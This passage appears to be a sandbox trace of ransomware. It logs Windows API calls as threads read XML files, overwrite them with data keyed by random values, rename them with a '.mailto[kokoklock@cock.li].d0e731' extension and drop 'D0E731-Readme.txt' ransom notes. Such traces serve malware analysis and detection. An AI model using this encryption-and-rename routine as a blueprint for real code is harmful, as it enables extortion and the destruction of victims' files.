lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.460] ReadFile (in: hFile=0x3a8, lpBuffer=0xb3af7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0xb3af7b4*, lpNumberOfBytesRead=0xb3af7b0*=0x4, lpOverlapped=0x0) returned 1 [0063.845] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0063.845] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe00 [0063.845] NtQuerySystemTime (in: CurrentTime=0xb3af78c | out: CurrentTime=0xb3af78c*=132121176217371576) returned 0x0 [0063.845] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xd8738b93 [0063.845] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x6acbf2c5 [0063.845] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x5dd737ad [0063.845] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xc866da0b [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x512f57d3 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x1dbc880b [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xc07cb0b6 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x1489cf02 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xf37f2554 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x11e6e03 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xc76925bf [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xecd16e8d [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x62bf9d09 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x1c598360 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x86659815 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xf2ab157 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x10aa665f [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xa835d1b7 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x5c47b690 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x2a757587 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xfbba1add [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x606535f5 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xd9b2192 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x2a0322fa [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x6e60c2c3 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xef0a9350 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xcd52c794 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x8c15a196 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0xae5c47f2 [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x1720f53f [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x895580ae [0063.846] RtlRandom (in: Seed=0xb3af798 | out: Seed=0xb3af798) returned 0x3ca05db7 [0063.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe28 [0063.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe50 [0063.858] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.858] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.858] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55cc4a8 [0063.858] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.858] ReadFile (in: hFile=0x3a8, lpBuffer=0x55cc4a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb3af764, lpOverlapped=0x0 | out: lpBuffer=0x55cc4a8*, lpNumberOfBytesRead=0xb3af764*=0x4096, lpOverlapped=0x0) returned 1 [0064.279] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0064.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0064.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be398 [0064.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be398) returned 1 [0064.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x5614fe8 [0064.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be398 [0064.280] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x5614fe8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb3af764, lpOverlapped=0x0 | out: lpBuffer=0x5614fe8*, lpNumberOfBytesWritten=0xb3af764*=0x4096, lpOverlapped=0x0) returned 1 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x5614fe8) returned 1 [0064.280] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x9882, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x34be398*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb3af79c, lpOverlapped=0x0 | out: lpBuffer=0x34be398*, lpNumberOfBytesWritten=0xb3af79c*=0x20, lpOverlapped=0x0) returned 1 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be398) returned 1 [0064.280] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55cc4a8) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x33efe50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0x33efe50*, lpNumberOfBytesWritten=0xb3af7b0*=0x8, lpOverlapped=0x0) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0xb3af7c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0xb3af7c8*, lpNumberOfBytesWritten=0xb3af7b0*=0x4, lpOverlapped=0x0) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb3af7b0*=0x4, lpOverlapped=0x0) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb3af7b0*=0x6c, lpOverlapped=0x0) returned 1 [0064.280] WriteFile (in: hFile=0x3a8, lpBuffer=0x33efdd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0x33efdd8*, lpNumberOfBytesWritten=0xb3af7b0*=0x20, lpOverlapped=0x0) returned 1 [0064.281] WriteFile (in: hFile=0x3a8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb3af7b0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb3af7b0*=0x4, lpOverlapped=0x0) returned 1 [0064.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe28) returned 1 [0064.281] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe50) returned 1 [0064.281] CloseHandle (hObject=0x3a8) returned 1 [0064.411] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eaff0 [0064.411] wcscpy (in: _Dest=0x33eaff0, _Source="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" [0064.411] wcscat (in: _Dest=0x33eaff0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0064.411] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eaff0) returned 1 [0064.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml", dwFileAttributes=0x80) returned 0 [0064.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3427478 [0064.528] wcscpy (in: _Dest=0x3427478, _Source="C:\\588bce7c90097ed212\\Client\\" | out: _Dest="C:\\588bce7c90097ed212\\Client\\") returned="C:\\588bce7c90097ed212\\Client\\" [0064.528] wcscat (in: _Dest=0x3427478, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" [0064.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\d0e731-readme.txt")) returned 0xffffffff [0064.528] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\client\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0064.533] WriteFile (in: hFile=0x39c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb3af7ac, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb3af7ac*=0x481, lpOverlapped=0x0) returned 1 [0064.533] CloseHandle (hObject=0x39c) returned 1 [0064.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427478) returned 1 [0064.534] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fb260) returned 1 [0064.534] RtlExitUserThread (Status=0x1) Thread: id = 208 os_tid = 0x11b8 [0063.462] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml")) returned 0x80 [0063.462] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x20) returned 1 [0063.462] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0063.462] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0xb42fefc | out: lpFileSize=0xb42fefc*=93314) returned 1 [0063.462] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x16c7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.462] ReadFile (in: hFile=0x3a4, lpBuffer=0xb42fed0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0xb42fed0*, lpNumberOfBytesRead=0xb42fecc*=0x4, lpOverlapped=0x0) returned 1 [0063.859] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efe78 [0063.859] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efea0 [0063.859] NtQuerySystemTime (in: CurrentTime=0xb42fea8 | out: CurrentTime=0xb42fea8*=132121176217528182) returned 0x0 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x1ab6b2b9 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x3a1e617 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xd62d607a [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x5f788d74 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xadfc9b9a [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xf7291462 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x3ba7c146 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xbaa52b33 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xd205db92 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xa5dd5c23 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x290db697 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xfc2c922c [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x4407edc4 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xf5b8eddb [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x86c4ca44 [0063.859] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x85b4f3c8 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xf1991aa7 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x15f1bf01 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xf753a524 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xfd9bfc49 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xd32ac811 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x41e7292f [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xc6a093d5 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x69884569 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x7f170549 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xf2289a61 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x7e339c86 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x4c6862c6 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xe217abc4 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0xcfc5a332 [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x829a109e [0063.860] RtlRandom (in: Seed=0xb42feb4 | out: Seed=0xb42feb4) returned 0x30644e95 [0063.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efec8 [0063.870] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f10 [0063.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33effe0 [0063.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f10) returned 1 [0063.871] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efd88) returned 1 [0063.871] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d0548 [0063.872] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.872] ReadFile (in: hFile=0x3a4, lpBuffer=0x55d0548, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xb42fe80, lpOverlapped=0x0 | out: lpBuffer=0x55d0548*, lpNumberOfBytesRead=0xb42fe80*=0x4096, lpOverlapped=0x0) returned 1 [0064.283] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce48 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0064.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55cc4a8 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x347cdd0 [0064.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efdd8 [0064.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efdd8) returned 1 [0064.283] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0064.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce48) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x55cc4a8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xb42fe80, lpOverlapped=0x0 | out: lpBuffer=0x55cc4a8*, lpNumberOfBytesWritten=0xb42fe80*=0x4096, lpOverlapped=0x0) returned 1 [0064.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55cc4a8) returned 1 [0064.284] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x16c82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x347cdd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb42feb8, lpOverlapped=0x0 | out: lpBuffer=0x347cdd0*, lpNumberOfBytesWritten=0xb42feb8*=0x20, lpOverlapped=0x0) returned 1 [0064.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347cdd0) returned 1 [0064.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d0548) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x33effe0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0x33effe0*, lpNumberOfBytesWritten=0xb42fecc*=0x8, lpOverlapped=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0xb42fee4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0xb42fee4*, lpNumberOfBytesWritten=0xb42fecc*=0x4, lpOverlapped=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xb42fecc*=0x4, lpOverlapped=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xb42fecc*=0x6c, lpOverlapped=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x33efe78*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0x33efe78*, lpNumberOfBytesWritten=0xb42fecc*=0x20, lpOverlapped=0x0) returned 1 [0064.284] WriteFile (in: hFile=0x3a4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xb42fecc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xb42fecc*=0x4, lpOverlapped=0x0) returned 1 [0064.284] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efe78) returned 1 [0064.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33efec8) returned 1 [0064.285] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33effe0) returned 1 [0064.285] CloseHandle (hObject=0x3a4) returned 1 [0064.415] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33ce718 [0064.415] wcscpy (in: _Dest=0x33ce718, _Source="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" [0064.415] wcscat (in: _Dest=0x33ce718, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0064.415] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0064.526] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0064.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ce718) returned 1 [0064.526] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", dwFileAttributes=0x80) returned 0 [0064.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347dd90 [0064.527] wcscpy (in: _Dest=0x347dd90, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0064.527] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" [0064.527] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\d0e731-readme.txt")) returned 0xffffffff [0064.527] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0064.529] WriteFile (in: hFile=0x3a8, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xb42fec8, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xb42fec8*=0x481, lpOverlapped=0x0) returned 1 [0064.530] CloseHandle (hObject=0x3a8) returned 1 [0064.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0064.530] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34207d8) returned 1 [0064.530] RtlExitUserThread (Status=0x1) Thread: id = 209 os_tid = 0x11bc [0063.463] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80 [0063.464] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml", dwFileAttributes=0x20) returned 1 [0063.464] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.464] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0xb4afc58 | out: lpFileSize=0xb4afc58*=39050) returned 1 [0063.464] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x9886, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.464] ReadFile (in: hFile=0x3a0, lpBuffer=0xb4afc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xb4afc28, lpOverlapped=0x0 | out: lpBuffer=0xb4afc2c*, lpNumberOfBytesRead=0xb4afc28*=0x4, lpOverlapped=0x0) returned 1 [0063.872] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efd88 [0063.872] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33efef0 [0063.872] RtlAllocateHeap 